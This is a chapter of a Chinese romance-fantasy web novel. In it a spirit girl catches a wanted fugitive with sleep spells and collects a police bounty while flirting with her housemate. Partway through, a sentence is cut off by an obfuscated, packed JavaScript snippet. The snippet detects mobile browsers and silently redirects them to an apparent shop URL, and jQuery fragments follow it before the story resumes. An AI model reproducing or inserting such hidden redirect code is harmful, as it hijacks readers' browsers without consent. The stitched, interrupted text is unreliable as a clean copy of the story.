屋外冷风嗖嗖地吹,屋里空调暖融融的,鳌明珠窝在沙发上看电视,余光瞅见江擎又穿着件紧身运动背心晃悠。
以前他在家裹得严严实实地,最近不知道咋回事,短袖换背心,还紧绷绷的,胸肌腹肌的轮廓都能显得清清楚楚,买衣服大一号要加钱吗?洗完澡更是离谱,穿个浴袍,擦着湿漉漉的头发在客厅走来走去,好几次鳌明珠抬头,都看见水珠顺着他脖颈滑进浴袍的样子。谁家好人会这样?
更奇怪的是,江擎把健身器材全挪到了客厅,说是次卧太挤,伸展不开不方便健身。晚饭过后,他雷打不动地准时锻炼。一会仰卧起坐,一会俯卧撑。动静大得吵人,鳌明珠坐在沙发上看电视,屏幕上的画面看在眼里,心里却总忍不住往他那边瞟,半点也没法专心。
不仅如此,他近来还总变着花样往家带东西。有时是拎着一盒小蛋糕,有时是一束鲜花,包装精致又漂亮。家里现在到处是香喷喷的花。
每次递东西的时候,还总挨得非常近,身上淡淡的雪松味沐浴露气息扑面而来,搞的自己每次都很不自在,真是莫名其妙。
刚刚锻炼结束的江擎倒了杯温水,仰头喝水,喉结随着吞咽的动作,在修长的脖颈上上下滚动。鳌明珠看着看着,突然想起上次用手指刮他喉结时的触感,滚烫又柔韧。
鼻腔忽然涌上一阵热意,两股鲜红的鼻血像江水奔流直下,鳌明珠手忙脚乱地去捂鼻子,几秒后,血液从指缝间溢出。江擎感觉到动静,快步走过来,俯身扶着鳌明珠让她身体前倾,扯了几张抽纸,揉成小团塞到她的鼻孔里。他坐在鳌明珠身侧,右手两指轻轻按住她的鼻翼两侧,动作轻柔又细致,语气无奈又柔和:“没事,几分钟就好了。”
温热的呼吸拂过鳌明珠脸侧,她的耳朵以肉眼可见的速度变红。真丢脸啊!好好的电视不看,非得看他做什么!绝不是因为他!应该是人参啃多了,补得有点过!
鳌明珠顶着花猫一样的脸,转过头含含糊糊地解释:“你别误会,最近人参吃的有点多……”
江擎低低笑了一声:“乖乖别动,我又没说什么。”
坏了!又此地无银三百两了。都怪他!穿那么少还爱晃荡!明天把空调关了,让你再嘚瑟!
初冬的S市已有几分萧瑟的感觉,梧桐叶簌簌飘落,在空中打几个旋,又慢慢落下。街上行人熙熙攘攘,都不是她要找的三千块。
化成魂体的鳌明珠倚着树干叹了一口气,又想起昨晚那糊了一脸的鼻血和江擎意味不明的低笑声,羞愤地想撞树。真让人头秃啊!
忽然余光瞥见一个穿黑色外套的男子从对面走来,那男子身材瘦削,眉眼间带着几分警惕,走路时总是左右张望。咦?这人怎么这么眼熟?鳌明珠顿时心中一喜,这就不是相册里通缉令上的一员吗?她迅速在大脑里搜索,这个值两千。
为了防止再闹乌龙,鳌明珠飘到那男子前面,左瞅右瞅,反复确认。脸型、眉眼、甚至耳朵上那颗小小的黑痣,都分毫不差。“就是你了!”她拍了下手。
想起上次用物理攻击,使了牛劲也只给幼儿园门口那两个歹徒造成轻伤,鳌明珠决定换个策略,使用魔法攻击。不知道是因为干了几件好事还是因为人参啃得多,最近灵力增长了不少,抓个人绝对绰绰有余。
她指尖凝聚起一丝灵力,对着男子的后脑勺轻轻一弹,催眠术悄无声息地生效。原本还东张西望的男子眼神瞬间变得迷茫,脚步也慢了下来,像个提线木偶似的,跟着魂体的鳌明珠走向街角一条僻静的小巷里。
小巷是个死胡同,尽头堆满了垃圾和一些破损的共享自行车。鳌明珠左右观察了下,没有摄像头。
她停下脚步,手指弯曲对着男子又是一弹,沉睡术接踵而至。那男子连哼都没哼一声,“吧唧”一下就直挺挺地朝前倒在地上,双眼紧闭,睡得格外香甜。
“还得是年轻啊,说谁就睡。”鳌明珠化成实体人形,蹲下身,用手指戳了戳男子的脸颊,没反应。为防止意外,她又接连施了三个沉睡术。
沉睡术搞得有点多,自己也有点昏昏欲睡。鳌明珠打了个哈欠,用双手拍拍脸,强打起精神,一屁股坐在男子背上。这男子瘦得跟猴似的,骨头硌得她屁股生疼,鳌明珠皱了皱眉:“平时都不知道多吃点,坐着一点都不舒服。”
掏出手机看了看时间,快六点了,离江擎下班还有五六分钟,应该不会影响他工作。
鳌明珠一只手薅住男子的头发,稍微用力把他的脸掰过来,另一只手拿着手机,对着他的脸“咔嚓”一声拍了张照。然后打开微信,把照片和对应的通缉令图片一起发给了江擎,还写了一行字:“江擎江擎,我抓到人啦!我给你发定位,快来接我!”
发完消息,鳌明珠依旧坐在男子背上,百无聊赖地看着夕阳发呆。
江擎的消息很快回过来:“我马上过来,你注意保护好自己,别逞强。”
“放心吧,我用的是法术攻击。他这会正梦寐周公呢,一时半会醒不来。”鳌明珠已经顺利掌握了语音转文字,回消息也是飞快。
又想起江擎在开车,看手机不安全。回了一句语音:“你好好开车,注意安全。我在这等你。”
小巷里的风刮得呜呜的,鳌明珠等得都有不耐烦。主街道的车来来往往,没一个是江擎的。
这时,巷口传来停车声,紧接着是熟悉的脚步声,鳌明珠眼睛一亮,转头望去。江擎穿着一身便装,身后跟着王杨和另一位民警,几人快步走了进来。看到地上睡得正香的男子,又看了看一脸求夸奖的鳌明珠,江擎忍不住揉了揉她的头:“明珠真厉害!有没有受伤?”
鳌明珠站起身得意地说:“我没事,我这次没认错人吧。”说罢又拽拽江擎的袖子示意他低头。
江擎低下头,鳌明珠压低声音附在他耳边说:“这个值两千呢,我们可以买好多好吃的。”
江擎忍着耳边的痒意,笑着点点头:“嗯。明珠真厉害。”
王杨蹲下身,拿出手铐给男子戴上,又检查了一下他的状态,拍拍男子的脸,说道:“醒醒!醒醒!”转头对同事说:“这也睡得太沉了吧。”
他站起身朝向鳌明珠,伸手问好:“你好,我是王杨,我们上次在所里见过。”
鳌明珠握了握手:“你好,我叫鳌明珠。我记得你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932526|192834||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你是江擎的朋友。”
“对对,鳌小姐好记性。这是我的同事李鹏程。”王杨给鳌明珠介绍他的同事。
“你好,鳌小姐。我是李鹏程。”
“你好。”
“鳌小姐,你是如何抓住嫌疑人的?”王杨问道。
“嗯,我出来随便转转,有点迷路,稀里糊涂转到这个小巷子里。回头看见一个人鬼鬼祟祟的,就多看了几眼,发现他跟前几天在网上刷到的通缉令里的人一模一样。就假装向他问路,趁他不注意,给了他一手刀,他有点晕……然后就这样了。他估计也快醒了。”鳌明珠边组织语言,边给趴着的男子施了个清醒术。
“鳌小姐真是又机智又勇敢。感谢鳌小姐对我们工作的大力支持。”王杨由衷赞叹。
“您太客气啦,这是我们每个公民应该做的。”鳌明珠被夸得嘴角收都收不住,但还是一本正经的回复王杨。
江擎看着如此可爱的鳌明珠,也忍不住弯了弯嘴角。
“鳌小姐身手真好。是习过武吗?徒手制服嫌疑人,上次也制服了两名男子。”王杨之后了解了上次的幼儿园事件,对江擎的这位“家里人”印象深刻,确实不一般,长得柔柔弱弱,没想到还是个练家子。
“嗯,略懂拳脚,收拾两三个壮汉不在话下。”鳌明珠谦虚地说。
这时,地上的男子悠悠转醒,伸手想摸摸疼痛的头,却发现手被拷住,立即剧烈挣扎起来。王杨和李鹏程见状,把男子从地上拎起来了,展示了一下证件:“我们是警察,别动,请配合我们的工作。”
江擎一把将鳌明珠搂在怀里,把她的脸紧紧捂在怀里。
鳌明珠的脸被压在江擎结实的胸膛上,嘴里含含糊糊地说:“两千、两千……”
江擎闻言,伸手揉了揉她的头发:“我知道,我来处理。”
男子扭头想看江擎和鳌明珠。被王杨和李鹏程两人按着头,一左一右架着朝车走去。王杨给身后的江擎和鳌明珠挥了挥手。
三人走到到警车旁,王杨拉开后座车门,李鹏程按着男子头将安置在警车后座,便驾车离去。
江擎看着车离开才松开鳌明珠,鳌明珠一离开江擎的怀抱,便不满地控诉:“你干嘛?”
江擎摸了摸鳌明珠有些乱糟糟的头发:“你别露脸,我怕他报复你。”
鳌明珠撇撇嘴:“我才不怕。”
“你不怕,我怕。不要低估人心,更不要掉以轻心。保护好自己,知道吗?”江擎盯着鳌明珠的眼睛认认真真地说。
“哦。我知道了。”鳌明珠被看的有点心慌,别过头去。
“走吧,我们回家。”江擎拉着鳌明珠往车旁走去。
“我的赏金怎么办?”
“悬赏金需要走流程,警方核实嫌疑人身份、确认抓捕有效后,会统一发放,可能需要一周左右。你别急。”
“还要等一周啊?”
“一周很快的。”
“那好吧,我就再等等。等拿到钱,我请你吃火锅怎么样?”
“好啊。”
夕阳熔金淌过天际,将两人的身影都染成了橘红。